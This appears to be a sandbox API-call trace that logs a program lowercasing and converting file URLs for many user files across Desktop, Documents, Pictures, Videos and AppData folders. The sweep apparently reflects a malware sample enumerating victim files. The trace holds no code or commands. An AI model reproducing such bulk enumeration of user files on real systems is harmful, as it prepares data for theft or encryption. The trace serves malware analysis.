	[0098.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned 115
	[0098.891] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/LJU8CB2RAn_HV.doc" | out: _Str="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc"
	[0098.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 52
	[0098.891] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/5RQeP7-Vx1yGVh94.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif"
	[0098.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 56
	[0098.891] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/ND14d.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif"
	[0098.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 52
	[0098.892] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Tqt7WX7.xls" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls"
	[0098.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 54
	[0098.892] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/46pyemMg5U/JWwRyfgWlfSbnUp.flv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv"
	[0098.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned 89
	[0098.892] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/3t2QNWUXoQQ.pps" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps"
	[0098.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned 71
	[0098.892] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/znV%20LFHAvONxUMc%20fXu.odp" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp"
	[0098.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned 83
	[0098.892] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/nRQ59UkXJ6DZE-tfNqQ.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif"
	[0098.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned 66
	[0098.892] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/BJE6SqpKTEj5aI.bmp" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp"
	[0098.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned 61
	[0098.893] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/bLtg0rl3Nb.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png"
	[0098.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned 76
	[0098.893] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/3jEeh-g.odp" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp"
	[0098.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned 78
	[0098.893] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/1Ls8ldXhVKFWb26kk79.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx"
	[0098.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned 61
	[0098.893] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/AFMgC.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif"
	[0098.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned 52
	[0098.893] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/6XhE6HfRnc81XTA9N.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif"
	[0098.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned 56
	[0098.893] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/P70GTHZXSP7.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx"
	[0098.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned 53
	[0098.893] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/-nmv1NzcFxFh4c_s.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx"
	[0098.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned 58
	[0098.894] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/u0UeFh3X.jpg" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg"
	[0098.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned 55
	[0098.894] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/d2AxJ7LT.csv" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv"
	[0098.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned 94
	[0098.894] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/ZA%20XnOpijc5-tGT.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif"
	[0098.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned 56
	[0098.894] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/3NNiQN2uAy.csv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv"
	[0098.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned 57
	[0098.894] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/T17L6PpJUVFp6jo.png" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png"
	[0098.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned 75
	[0098.894] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/dS1l.odp" | out: _Str="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned="file:///c:/users/aetadzjz/desktop/ds1l.odp"
	[0098.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned 43
	[0098.895] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/elmEtgYx2iEIHeFFa-b.png" | out: _Str="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png"
	[0098.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned 59
	[0098.895] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/uvB6Xg44Bvjnt-XoW9.png" | out: _Str="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png"
	[0098.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned 57
	[0098.895] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/qfGI.mkv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv"
	[0098.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned 51
	[0098.895] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/dtttXQgtWjzoiRag3-iR.flv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv"
	[0098.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned 67
	[0098.895] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/QOp3.odp" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp"
	[0098.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned 69
	[0098.896] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/eS1cIiAb1YF_Z54N9_QD.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif"
	[0098.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned 74
	[0098.896] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/WvjCEEg87KzqWdb.docx" | out: _Str="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx"
	[0098.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned 57
	[0098.896] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/8DmsVpxVfk8Q_a4.odt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt"
	[0098.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned 86
	[0098.896] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/sgtCtM%20W5i4m4k-tQ7VZ.docx" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx"
	[0098.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned 70
	[0098.896] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/mRBf4Z2smxPy-qp.csv" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv"
	[0098.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned 80
	[0098.897] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/U2yq_R2-__yDUw0/jNUhgew-B.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt"
	[0098.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned 90
	[0098.897] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/gMDngx.bmp" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp"
	[0098.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned 53
	[0098.897] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/STPnFoMqZa-Hly06/UF98.ots" | out: _Str="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots"
	[0098.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned 60
	[0098.897] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/YsT3fikdfbU4rUuKpdCy.png" | out: _Str="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png"
	[0098.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned 59
	[0098.897] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/44x%20N0sokDl7tO.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif"
	[0098.897] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/STPnFoMqZa-Hly06/saqSflTOp.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp"
	[0098.898] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/uJWjX0NxVAjjtXf3pr.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png"
	[0098.898] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/gnrduAR4_GE-lIUs2.pps" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps"
	[0098.898] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/MPR9WWdIGYSQMpDjPD.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx"
	[0098.898] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/J1-w3A.ods" | out: _Str="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned="file:///c:/users/aetadzjz/desktop/j1-w3a.ods"
	[0098.898] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/yFknaMiD8j.ods" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods"
	[0098.899] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/O-q7.xlsx" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx"
	[0098.899] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/l8QtUZaM4hc6.ots" | out: _Str="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots"
	[0098.899] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/IGHw.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv"
	[0098.899] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/46pyemMg5U/DMm6.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv"
	[0098.899] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/VWhT_OecYLulo.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp"
	[0098.899] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/5D7QoxSXVLHY.odp" | out: _Str="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp"
	[0098.900] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/e2ST1_Q0mHBLRy-5f2.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif"
	[0098.900] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/x6CWkNo2G1u-.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx"
	[0098.900] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/oKBRaLkx9O.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx"
	[0098.900] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Je6XvdagR_Wm.flv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv"
	[0098.900] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/kl3RERCiEf.odp" | out: _Str="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned="file:///c:/users/aetadzjz/desktop/kl3rercief.odp"
	[0098.901] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/eedYuSbYbK5jgafd.flv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv"
